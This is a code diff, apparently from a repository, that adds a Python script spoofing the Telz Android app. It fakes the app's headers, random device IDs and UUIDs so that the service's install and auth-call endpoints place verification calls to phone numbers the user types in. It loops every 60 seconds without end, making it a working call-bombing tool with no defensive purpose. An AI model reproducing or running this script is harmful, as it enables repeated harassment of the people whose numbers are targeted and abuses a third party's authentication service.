|
| 1 | +import time |
| 2 | +import random |
| 3 | +import string |
| 4 | +import uuid |
| 5 | +import json |
| 6 | +import requests |
| 7 | +from requests.exceptions import RequestException |
| 8 | + |
| 9 | +def generate_device_id(): |
| 10 | + return ''.join(random.choices(string.ascii_lowercase + string.digits, k=16)) |
| 11 | + |
| 12 | +def get_timestamp(): |
| 13 | + return round(time.time() * 1000) |
| 14 | + |
| 15 | +def create_install_payload(device_id, uuid, ts): |
| 16 | + return json.dumps({ |
| 17 | + 'androidid': device_id, |
| 18 | + 'app_version': '17.5.17', |
| 19 | + 'event': 'install', |
| 20 | + 'google_exists': 'yes', |
| 21 | + 'os': 'android', |
| 22 | + 'os_version': '9', |
| 23 | + 'play_market': True, |
| 24 | + 'ts': ts, |
| 25 | + 'uuid': uuid |
| 26 | + }) |
| 27 | + |
| 28 | +def create_authcall_payload(device_id, uuid, ts, phone): |
| 29 | + return json.dumps({ |
| 30 | + 'androidid': device_id, |
| 31 | + 'app_version': '17.5.17', |
| 32 | + 'attempt': '0', |
| 33 | + 'event': 'auth_call', |
| 34 | + 'lang': 'ar', |
| 35 | + 'os': 'android', |
| 36 | + 'os_version': '9', |
| 37 | + 'phone': f'+{phone}', |
| 38 | + 'ts': ts, |
| 39 | + 'uuid': uuid |
| 40 | + }) |
| 41 | + |
| 42 | +def send_request(url, payload, headers): |
| 43 | + try: |
| 44 | + return requests.post(url, data=payload, headers=headers, timeout=10) |
| 45 | + except RequestException as e: |
| 46 | + raise RequestException(str(e)) |
| 47 | + |
| 48 | +def Quantex_python(): |
| 49 | + headers = {"User-Agent": "Telz-Android/17.5.17", "Content-Type": "application/json"} |
| 50 | + phone_numbers = [ |
| 51 | + n.strip().replace("+", "") for n in input("Numara Gir: ").split(",") |
| 52 | + if n.strip().replace("+", "").isdigit() |
| 53 | + ] |
| 54 | + |
| 55 | + if not phone_numbers: |
| 56 | + print("GECERSİZ NUMARA YARRAM") |
| 57 | + return |
| 58 | + |
| 59 | + while True: |
| 60 | + for num in phone_numbers: |
| 61 | + ts = get_timestamp() |
| 62 | + device_id = generate_device_id() |
| 63 | + uid = str(uuid.uuid4()) |
| 64 | + |
| 65 | + try: |
| 66 | + install_payload = create_install_payload(device_id, uid, ts) |
| 67 | + if send_request('https://api.telz.com/app/install', install_payload, headers).ok: |
| 68 | + authcall_payload = create_authcall_payload(device_id, uid, ts, num) |
| 69 | + if send_request('https://api.telz.com/app/authcall', authcall_payload, headers).ok: |
| 70 | + print(f"+{num} Arama Gonderildi") |
| 71 | + else: |
| 72 | + print(f"+{num} arama gitmedi") |
| 73 | + else: |
| 74 | + print(f"+{num} Install hatali") |
| 75 | + except RequestException as e: |
| 76 | + print(f"+{num} Hata: {e}") |
| 77 | + |
| 78 | + time.sleep(60) |
| 79 | + |
| 80 | +if __name__ == "__main__": |
| 81 | + try: |
| 82 | + Quantex_python() |
| 83 | + except KeyboardInterrupt: |
| 84 | + print("Durduruldu.") |
0 commit comments